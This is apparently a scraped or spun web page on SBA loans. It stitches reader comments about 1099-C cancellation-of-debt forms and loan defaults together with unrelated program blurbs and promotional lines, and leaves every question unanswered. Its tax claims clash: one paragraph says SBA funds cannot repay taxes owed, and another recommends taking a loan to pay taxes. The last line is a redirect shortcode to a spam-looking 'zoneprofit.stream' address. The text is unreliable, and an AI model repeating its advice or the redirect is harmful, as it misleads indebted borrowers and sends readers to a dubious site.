We just settled an SBA loan default for an LLC and received a 1099 C cancellation of debt in the mail addressed to the LLC which was defunct in 2009. I do not file a business return anymore since it was closed and all assets were liquidated. Where do not know where to report this this cancelation of debt amount. We only file personal returns now. Is this cancelation amount something we report to the IRS?
SBA loans do have some restrictions on how they’re used. Funds guaranteed by the SBA can’t be used to fund an investment, or any passive business activity, like purchasing a building that will be leased to another business. They also can’t be used to reimburse a business owner for money previously invested, or repay any money owed to the government, such as taxes.
SBA Export Loans Designed to help small businesses fund new exporting operations and offer cash flow solutions to small business so they can offer more flexible terms to their international customers. Rates: 5.75 – 10%
We had to close our business and had an sba loan. We have made a deal with the bank to make $800/mo payments for 5 years, then we will see how things have changed, like maybe we had a windfall of $500,000 or some other miracle. We are on year 4.
The SBA Microloan program provides loans to nonprofit intermediary lenders who in turn lend amounts under $50,000 to for-profit small businesses and nonprofit child care centers. The SBA does not guarantee any portion of the loans made under the SBA Microloan program. Microloans have terms up to 6 years and the average size is $14,215.
I had an SBA loan in Florida due to the hurricanes of 2004. In 2007 I lost my job and in six months I was on SSDI knowing that there was no way I would be able to pay the taxes, mortgage or insurance and be able to survive. The Treasury Department started taking money for SBA out of my SSDI. I didn’t mind that it was that every time I would call the SBA to try and get help no one wanted to help. So it took 5 years for the county to take the house for delinquent taxes in 2013. If they had just talked to me to explain anything maybe there might have been something I could have done to keep my home. In my 60’s and having to start over and not in great health. Now I live in a studio which is only 12×20 not that big. I feel like life is over and it will only get worse form here. Enough pity party. I just want the Government to be there for the little people and help like they should, when. They helped with the hurricanes but once that is done so are they. They need to include the taxes in the mortgage so a lot of the tax sales won’t happen. MY home sold for only S30,000 and the buyer sold it for $70,000. Haven’t heard for anyone SBA about the difference. I think it is somewhere around $18,000, Will they just let it slide, seems if they wanted something they would be still deducting from my SSDI? Would I be able to get a Veteran’s loan to get a small home? Any answer would be appreciated. Wish I found this years ago. Maybe something could have been done to keep it. Jude
The SBA’s Community Advantage Loans are designed to help businesses in underserved markets get access to financing. These programs are available to borrowers who meet the SBA eligibility criteria but are not able to qualify for a standard SBA 7(a) loan because of low revenues, low collateral, or other reasons.
Startups without great credit or other financing options may qualify for a microloan from a nonprofit organization. You can borrow up to $50,000 from Accion, with interest rates as low as 8%. Visit them to see how much you qualify for by filling out a fast online application.
Additionally, as a startup your SBA lender will expect that you present a well prepared business plan. We recommend using business plan software, which provides you with great looking templates, guides you through the process so you don’t miss anything important, and provides you with lots of examples.
There are two loan approvals you’ll need to obtain. First, your bank must review your application and decide whether you meet their qualifications for funding, subject to SBA approval. Banks are obligated to observe the “credit elsewhere” rule, meaning that if your company is qualified for a loan from any other source without the credit insurance provided by SBA, you should be sent there.
I had a SBA backed loan through Washington Mutual – I couldnt make payments and tried to negotiate a lower payment to payoff as bad debt. They told me I had to default but would never negotiate an affordable payment. So it went to court – now I am paying off the full debt to SBA directly at the amount I could pay per month. I understood my dealings with the bank to be over and my debt moved to SBA. However, I have received a 1099-C from the bank as a cancellation of debt for 1/2 amount still owed and says have to report as income??!!
Under the Community Advantage Program, the SBA offers the same expedited application and approval process that comes with an SBA Express loan but will guarantee 85% of the loan for loans up to $250,000. This further reduces the risk to lenders, thereby increasing a lender’s appetite to make the loan under the SBA Express program. More information and a list of Community Advantage lenders can be found on the SBA’s website.
When tax season arrives, you’ll be glad that you applied for a business loan. It can be a challenging to pay your taxes while keeping your business up-and-running. Luckily, if you have a loan, you’ll be able to pay your taxes without taking away funds from your day-to-day operations.
However, if you need money faster, online lenders may be a better fit, as they can provide a streamlined online application with fewer documentation requirements and faster underwriting. If you have good credit and strong business finances, some online lenders may offer you rates comparable to those for bank loans. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]